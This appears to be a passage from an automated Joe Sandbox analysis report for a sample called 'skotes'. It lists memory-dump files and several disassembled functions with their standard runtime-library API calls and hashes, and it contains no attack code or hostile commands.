Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: 858fb868f3ee1a5b295106893e31211a78a45d832d3a29cc2195fdb3f6e39279
Instruction ID: 6090704127e02c114647a101ce55cdd4ee877cc2cdc12f454be03a148d820986
Opcode Fuzzy Hash: 858fb868f3ee1a5b295106893e31211a78a45d832d3a29cc2195fdb3f6e39279
Instruction Fuzzy Hash: 9E3188B1E002468BCB54DFA8C8416EDB7F4BF09310B24407AE845E7381DB34AE028BA8

Function 0005D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 0005D344
ListArray.LIBCONCRT ref: 0005D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0005D370
ListArray.LIBCONCRT ref: 0005D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0005D3B3

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 44c358bf456695029293f67e55929c2a5a63951464c8fa922716e91c2d54e5a0
Instruction ID: 5e3b2e71d5c5c7023929251896af1c3ed255837328b7d4a57a109e6399a485ef
Opcode Fuzzy Hash: 44c358bf456695029293f67e55929c2a5a63951464c8fa922716e91c2d54e5a0
Instruction Fuzzy Hash: D331AF35700610AFDB25DF54C885BAEB7B6BF89301F04009AEC069B392CB74AD49CB92

Function 000586C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 000586EE

Part of subcall function 0004EAD0: _SpinWait.LIBCONCRT ref: 0004EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00058702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00058734
List.LIBCMT ref: 000587B7
List.LIBCMT ref: 000587C6

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 0dee894fc7a11477b7394a9dd0bd24496a183788108266d29c792931e9aca653
Instruction ID: 938c83af908afb0f4f9f5da20fdbdc3aaef346ae82e29376c709b5dc70ff6ae8
Opcode Fuzzy Hash: 0dee894fc7a11477b7394a9dd0bd24496a183788108266d29c792931e9aca653
Instruction Fuzzy Hash: AC319C72D0965ADFCB14EFA4C5815EEB7B1BF08309F24806ADC4137252CB31AD08CB94

Function 0004A840 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 168COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 0004A9D0
__Mtx_unlock.LIBCPMT ref: 0004A9ED

Part of subcall function 00033380: __Cnd_broadcast.LIBCPMT ref: 000333CB
Part of subcall function 00033380: __Mtx_unlock.LIBCPMT ref: 000333DF

Concurrency::cancel_current_task.LIBCPMT ref: 0004AA45

Strings

L/ds, xrefs: 0004A857

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastConcurrency::cancel_current_task
String ID: L/ds
API String ID: 3354401312-185251681
Opcode ID: 03977da67bb3eb435eaf08931cbfa4b8091a2ab1ce178af3b7942416a9d97132
Instruction ID: 8bc4f14c08c8a23e67bc8deb1a53376ea351412571bac9b579145c2caf6b02b7
Opcode Fuzzy Hash: 03977da67bb3eb435eaf08931cbfa4b8091a2ab1ce178af3b7942416a9d97132
Instruction Fuzzy Hash: 21617DB0E01209DFDB14DFA4C544BEEBBF8BF05304F148169E805A7382D775AA15CBA6

Function 0004C452 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0004C4F8
__Xtime_diff_to_millis2.LIBCPMT ref: 0004C542
_xtime_get.LIBCPMT ref: 0004C561

Strings

L/ds, xrefs: 0004C458

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: _xtime_get$Xtime_diff_to_millis2
String ID: L/ds
API String ID: 2858396081-185251681
Opcode ID: 11b888caab4a419201ff785cac9d9bc076fd7f54021a5a30b83816cce2c35225
Instruction ID: f3a6519b30520375104c3a95608b825b61b9e39ca8ddad2c49983863e7baebcf
Opcode Fuzzy Hash: 11b888caab4a419201ff785cac9d9bc076fd7f54021a5a30b83816cce2c35225
Instruction Fuzzy Hash: D8516EB1A02A16CBEFA0DF24C591DAD77F4EF44710B24447AD806AB156DB30FD81CB68

Function 00032EC0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132COMMONLIBRARYCODE

Download Yara Rule

APIs

